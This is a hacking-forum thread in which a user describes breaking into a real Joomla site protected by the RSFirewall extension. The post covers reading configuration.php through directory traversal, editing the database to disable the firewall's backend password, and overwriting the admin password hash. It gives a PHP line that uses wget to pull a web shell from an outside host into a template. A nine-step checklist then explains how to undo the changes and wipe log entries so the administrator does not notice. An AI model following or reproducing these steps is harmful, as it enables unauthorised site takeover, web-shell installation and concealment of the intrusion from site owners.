[Faner]

Greetings and happy holidays,
today while surfing through various websites, I found one quite interesting joomla site. Of course first thing I have done was checking site.com/administrator.
And here I was greeted with such view:

This really got me interested, so I decided to investigate it more closely.

Website was quite new, so I didn't even bothered using joomla scan. Public exploit databases also didn't help me much, but in the end I gained a permission to read files on server. In the password form in /administrator I've found this:

PHP Code:

name="rsf_backend_password"

Google told me that for all this security is responsible joomla extension called RsFirewall.

Here is some info about it:

RSFirewall! is the most advanced Joomla! security service that you can use to protect your Joomla! website from intrusions and hacker attacks.

RSFirewall! is backed up by a team of experts that are trained to be always up to date with the latest known vulnerabilities, security updates making RSFirewall! the best choice in keeping your website safe.

* Joomla! 3.0 / 2.5 / 1.5 Native
* Offers a powerful protection service
* Your website will be always protected against the newest threats
* The Active scanner will track and block any intrusion attempt such as SQL injection
* You won't have to worry about security leaks once you set the website in Lock-down mode
* Don't worry about 3rd Party extensions vulnerability. RSFirewall! protects all your Joomla! website
* Allows you to scan and fix vulnerabilities (no expert knowledge needed).
* Actively scans Joomla! sensitive file and denies hacker attempts to change them.
* Filters any request, such as POST, GET, etc. and blocks SQL injection attempts
* Notifies you by e-mail or even by SMS when a certain level of Alert is generated
* Always keeps you informed about the latest security updates
* Sets the Joomla! Installation into Lockdown mode making it impossible for anyone to access your website's protected areas
* Denies administrator take-overs
* Captcha after unsuccessful admin login attempts
* Country IP blocking

Well, since I needed to access admin's panel so I cared only about two of all these actions and abilities:
* Filters any request, such as POST, GET, etc. and blocks SQL injection attempts
and
* Captcha after unsuccessful admin login attempts.
After finding this I checked configuration.php and logged to mysql.

Here's what I've found:


Ok, so it's obvious that all unsuccessful admin login attempts will be logged in rsfirewall_logs table. After everything it must be edited. And then I checked rsfirewall_configuration table. Here I found what I was looking for: password and ability to turn it off.




Of course password was encrypted and I didn't want to waste time trying to find encrypting algorithm or cracking it, so I just saved password to txt file, deleted it from database and set backend_password_enabled to 0.

Then I checked table users, saved admin apssword to txt and changed it in db to 21232f297a57a5a743894a0e4a801fc3: (admin. After : should go salt, but I don't want it to use salt, so I just leave it empty.
Ok, now I am able to log in to admin panel. In admin cp on right side of the screen can be found rsfirewall table. Here are logs, possible updates, recent failed logins, ip adresses (if you would succeed to get in you could find admin's ip ) and so on. Seems like pretty useful extension. Even though I couldn't say it improves security too much. Sorry that I don't have admin cp screen shots, but I decided to make this thread after all logs were cleaned, so was too lazy to repeat everything again.

Ok, so now we have access to admin control panel. Let's go to upload shell through template manager. And BAM : "Internal server error". Seems rsfirewall blocks templates from editing.
So I went to media manager > options and turned off file checking, and to allowed extentions' list I added php. Not sure if that was nessesary, but at first I was going to check if it's possible to upload shell through media manager. Well, it wasn't because of crappy (from intruder's point of view) chmoding. So I got back to templates' manager. There at the begining of template's index.php you could put

PHP Code:

<?php system("wget http://site.com/shell.txt;mv shell.txt shell.php"); ?>

(of course I didn't do that, since my objective was just to check that rsfirewall and that's wouldn't be too ethical ) and vuala, a web shell. Now all what's left to do - change passwords as they were and clear logs. So here's how logs looked after my edition:



And that's it, website is shelled logs are clean, and that extension doesn't notice anything. I guess it would become more useful if administrator would have allowed joomla to use ftp. But in same way, I could have gain access to ftp just by checking configuration.php file, as I did with mysql.
Ok, so now I'll try to list everything in a row (sorry if I'll do or already have done any mistakes, it's 4 nights as I haven't slept normally :headbash

1. Get mysql access
2. In rsfirewall_configuration table change backend_password_enabled to 0 and delete password (but keep it in txt, you will need to put it back after shelling, so that admin wouldn't notice).
3. In table users change admin's password to "any md5 hash:", just without quotes. (also save previous hash in txt)
4. Log in.
5. In media manager > options turn off file checking and add php extension (not sure if that's necessary, but don't care as long as it works ).
6. Using template manager upload shell (don't forget to change template file back after shell is uplaoded).
7. In user table change admin password to as it was.
8. In table rsfirewall_configuration change backend_password_enabled back to 1 and password to as it was.
9. In rsfirewall_logs delete all entries about your activity. You can recognize you actions by ip.


That's it. Thanks for you patience if you managed to read this til the end. Hope this will increase your knowledge about joomla security solutions.
Best regards, Faner.
Oh, and I would really appreciate thanks and feedback. Wasted lot of time writing this. :ok:

[The Real Slim Shady]

Maybe ive missed something... and ive read this twice... but youve left out how you "checked" configuration.php?

And since youve gotten mysql access, does any of the rest really matter? You can embed code directly into the existing pages, or create new pages, admin accounts etc? forgive me im not a joomla user but it seems to me that if youve got mysql access you can already do pretty much anything you want without the need to move into the joomla admin or give any concern to this rsFirewall? or am i missing something... ?

[Faner]

Seems like that rsfirewall keeps an eye on tables. At least on some of them. After changing or disabling password in database, in logs appears high level alert. Not sure about other tables. Of course logs can be cleaned, but just saying. And my main goal was to access administrator panel and check if rsfirewall will stop me from editing configurations, uploading, or editing anything. And I accessed configuration.php file through directory traversal vuln. If not it, I guess website would be quite safe.
And thanks for reply.